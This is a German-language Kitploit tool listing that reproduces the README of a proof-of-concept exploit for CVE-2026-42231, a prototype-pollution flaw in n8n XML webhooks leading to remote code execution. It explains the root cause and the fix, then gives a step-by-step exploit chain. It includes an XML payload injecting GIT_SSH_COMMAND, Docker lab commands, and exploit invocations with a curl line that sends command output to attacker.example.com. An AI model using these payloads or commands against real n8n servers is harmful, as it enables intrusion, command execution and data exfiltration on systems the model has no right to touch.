Skip to content
KitploitKITPLOIT
ToolsBlog
Log in
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

FeedsKontaktDatenschutz© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2026-42231 — Proof-of-Concept-Exploit für CVE-2026-42231, eine kritische Prototype-Pollution-Schwachstelle in n8n-XML-Webhooks, die zu Remote-Code-Ausführung führt. Enthält Docker-Lab, Python-PoC und Node.js-Verifier. | Kitploit
Tools/GitHubGitHub/rudsarkar/cve-2026-42231
SchwachstellenanalyseExploitationWebanwendungs-ExploitationWebsicherheit
GitHubrudsarkar/cve-2026-42231

CVE-2026-42231

Proof-of-Concept-Exploit für CVE-2026-42231, eine kritische Prototype-Pollution-Schwachstelle in n8n-XML-Webhooks, die zu Remote-Code-Ausführung führt. Enthält Docker-Lab, Python-PoC und Node.js-Verifier.

Repository anzeigen
16vor 5 MonatenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

GHSA-q5f4-99jv-pgg5 — n8n XML-Webhook-Prototype-Pollution → RCE

CVE: CVE-2026-42231
Schweregrad: Kritisch (CVSS 10.0)
Betroffen: n8n < 1.123.32 / < 2.17.4 / < 2.18.1
Behoben in: n8n 1.123.32 / 2.17.4 / 2.18.1


Zusammenfassung der Schwachstelle

packages/cli/src/middlewares/body-parser.ts erstellt einen Singleton-xml2js-Parser auf Modulebene ohne tagNameProcessors oder attrNameProcessors. Dadurch kann ein Angreifer einen XML-Webhook-Body senden, der ein <__proto__>-Element enthält.

xml2js 0.6.2 verwendet Object.defineProperty mit einem Daten-Descriptor, um Element-Schlüssel auf geparsten Objekten zu setzen. Da '__proto__' in obj immer true ist, verpackt assignOrPush() den Wert in ein Array und speichert ihn als eigene aufzählbare Daten-Eigenschaft — wodurch der [[Set]]-Accessor umgangen wird, der normalerweise die Prototyp-Kette sicher aktualisieren würde.

Die eigene __proto__-Eigenschaft übersteht JSON.stringify (das ausgeführt wird, wenn n8n Ausführungsdaten in SQLite/PostgreSQL persistiert), und nach JSON.parse beim Neuladen leitet ein anschließendes Object.assign(target, reloadedBody) den Prototyp von target auf das vom Angreifer kontrollierte Objekt um.

In Workflows, die zusätzlich einen Git-Knoten enthalten, der eine SSH-Operation durchführt, legt der verschmutzte Prototyp einen spawnOptions- / GIT_SSH_COMMAND-Wert für simple-git's createInstanceConfig offen, was eine OS-weite Befehlsausführung ermöglicht.


Grundursache

// packages/cli/src/middlewares/body-parser.ts  (VERWUNDBAR — < 1.123.32)
const xmlParser = new XmlParser({
    async: true,
    normalize: true,
    normalizeTags: true,   // wandelt Tags in Kleinbuchstaben um — blockiert aber NICHT __proto__
    explicitArray: false,
    // ← KEINE tagNameProcessors
    // ← KEINE attrNameProcessors
});

Fix (>= 1.123.32):

function sanitizeXmlName(name: string): string {
    const unsafe = new Set(['__proto__', 'constructor', 'prototype']);
    return unsafe.has(name) ? `sanitized_${name}` : name;
}
const xmlParser = new XmlParser({
    async: true,
    normalize: true,
    normalizeTags: true,
    explicitArray: false,
    tagNameProcessors:  [sanitizeXmlName],
    attrNameProcessors: [sanitizeXmlName],
});

Exploit-Kette

1. Angreifer sendet XML-POST an einen öffentlichen Webhook-Trigger:

      POST /webhook/<id>  Content-Type: application/xml
      <?xml version="1.0" encoding="UTF-8"?>
      <root>
        <__proto__>
          <env GIT_SSH_COMMAND="attacker_cmd"/>
          <spawnoptions><shell>true</shell></spawnoptions>
        </__proto__>
      </root>

2. Der xml2js-Body-Parser erstellt req.body.root, wobei '__proto__' eine
   EIGENE AUFZÄHLBARE DATEN-EIGENSCHAFT ist:
      Object.getOwnPropertyDescriptor(req.body.root, '__proto__')
      → { value: [{}, {env: {$: {GIT_SSH_COMMAND: '...'}}, ...}],
          enumerable: true, writable: true, configurable: true }

3. n8n's deepCopy() iteriert über eigene Schlüssel via for...in + hasOwnProp.
   Die Zuweisung  clone['__proto__'] = deepCopy(attackerArray)
   ersetzt stillschweigend den Prototyp von clone über den [[Set]]-Accessor.

4. n8n serialisiert Ausführungsdaten in die DB:
      JSON.stringify(body.root)
      → '{"__proto__":[{},{"env":...,"spawnoptions":...}],"data":"..."}'
   Der __proto__-Schlüssel ist enthalten, weil er eigene und aufzählbar ist.
   Bestätigt in der execution_data-Tabelle in SQLite.

5. Beim Neuladen erstellt JSON.parse '__proto__' als eigene Daten-Eigenschaft
   (einfaches Objekt, ohne Array-Umhüllung).
      Object.assign(gitOptions, reloadedBody)
   leitet den Prototyp von gitOptions auf das vom Angreifer kontrollierte Objekt um.

6. Wenn der Git-Knoten simpleGit(gitOptions) aufruft:
      createInstanceConfig(gitOptions)
   liest config.spawnOptions über die Prototyp-Kette → truthy →
   spawnOptionsPlugin wird registriert.
   Mit GIT_SSH_COMMAND im env-Objekt führt git beim nächsten SSH-Vorgang den
   Befehl des Angreifers aus.

Hinweis zu normalizeTags

normalizeTags: true wandelt alle XML-Tag-Namen in Kleinbuchstaben um, sodass untergeordnete Elemente wie <GIT_SSH_COMMAND> im geparsten Objekt zu git_ssh_command werden. Um die Groß-/Kleinschreibung für Umgebungsvariablennamen beizubehalten, verwenden Sie XML-Attribute (Attributnamen werden von normalizeTags nicht normalisiert):

<env GIT_SSH_COMMAND="attacker_cmd"/>

Voraussetzungen

  1. Ein öffentlicher Webhook-Trigger (Authentifizierung = Keine, Content-Type = XML) muss in einem aktiven Workflow vorhanden sein.
  2. Für den vollständigen RCE-Pfad muss der Workflow zusätzlich einen Git-Knoten enthalten, der eine SSH-authentifizierte Operation durchführt (Clone / Push über SSH-URL).
  3. n8n-Version < 1.123.32.

Labor-Setup

Anforderungen

  • Docker ≥ 24 mit Compose v2
  • Python 3.9+ (für die eigenständige Nutzung des PoC ohne Docker)
  • Port 5678 auf localhost frei

Ein-Befehl-Setup

chmod +x exploit.sh
./exploit.sh setup

Dies zieht n8nio/n8n:1.123.22 (letzte betroffene Version), baut das Angreifer-Image, startet das verwundbare Ziel unter http://localhost:5678, erstellt und aktiviert automatisch einen Webhook-Workflow und speichert die Webhook-URL in .webhook_state.


End-to-End-Exploit-Walkthrough

1. Setup

./exploit.sh setup

Erwartete Ausgabe (gekürzt):

[*] Ziehe verwundbares n8n-Image (1.123.22) ...
[*] Baue Angreifer-Image ...
[*] Starte verwundbares n8n-Ziel ...
[*] Warte, bis n8n gesund ist ...
[*] Erstelle Webhook-Workflow (Webhook → Code-Knoten) ...
[+] Labor ist bereit.

    Führen Sie aus:  ./exploit.sh demo        # Pollution-Primitive verifizieren
                     ./exploit.sh exploit     # alle drei RCE-Payloads ausliefern

2. Pollution-Primitive verifizieren (Demo-Modus)

./exploit.sh demo

Der PoC sendet einen Verifizierungs-Payload und zeigt den geparsten Body, der vom n8n-Workflow zurückgegeben wird. Eine verwundbare Instanz liefert:

[+] HTTP 200
    Response: {"step1_ownEnumerableProto":true,
               "step1_descriptor":{"enumerable":true,
                 "value":"[{},{\"polluted\":\"GHSA-q5f4-99jv-pgg5-CONFIRMED\"}]"},
               "step2_deepCopySimulated":true,
               "step3_jsonRoundTripOwn":true,
               "step3_jsonStr":"{\"__proto__\":[...],\"legit\":\"harmless-data\"}",
               "step4_objectAssignPolluted":true, ...}

3. RCE-intendierte Payloads ausliefern

./exploit.sh exploit
# oder mit einem benutzerdefinierten Befehl:
./exploit.sh exploit "curl http://attacker.example.com/\$(id|base64)"

Drei komplementäre Payloads werden ausgeliefert:

PayloadTechnik
A<__proto__>-Tag — GIT_SSH_COMMAND als XML-Attribut
B<constructor><prototype>-Kette
CVerschachteltes <__proto__> mit env-Attributen

4. Ergebnis beobachten (mit Git-Knoten im Workflow)

  • Suchen Sie im n8n-Ausführungsprotokoll nach dem Git-Befehlsfehler — er wird die Ausgabe Ihres injizierten GIT_SSH_COMMAND enthalten, wenn RCE ausgelöst wurde.
  • Im Demo-Modus mit dem Code-Knoten enthält der Workflow-Antwortbody "step4_objectAssignPolluted": true, was die Kette bestätigt.

Eigenständige Nutzung (ohne Docker)

pip install -r requirements.txt

# Nur verifizieren — kein Git-Knoten erforderlich:
python3 poc_GHSA-q5f4-99jv-pgg5.py \
    --target http://n8n.target.com \
    --webhook-id <webhook-pfad> \
    --demo

# Vollständiger Exploit — erfordert Webhook + Git/SSH-Knoten-Workflow:
python3 poc_GHSA-q5f4-99jv-pgg5.py \
    --target http://n8n.target.com \
    --webhook-id <webhook-pfad> \
    --cmd 'curl http://attacker.example.com/$(id|base64)'

Webhook-URL-Format (n8n v1.123.x)

Tool herunterladen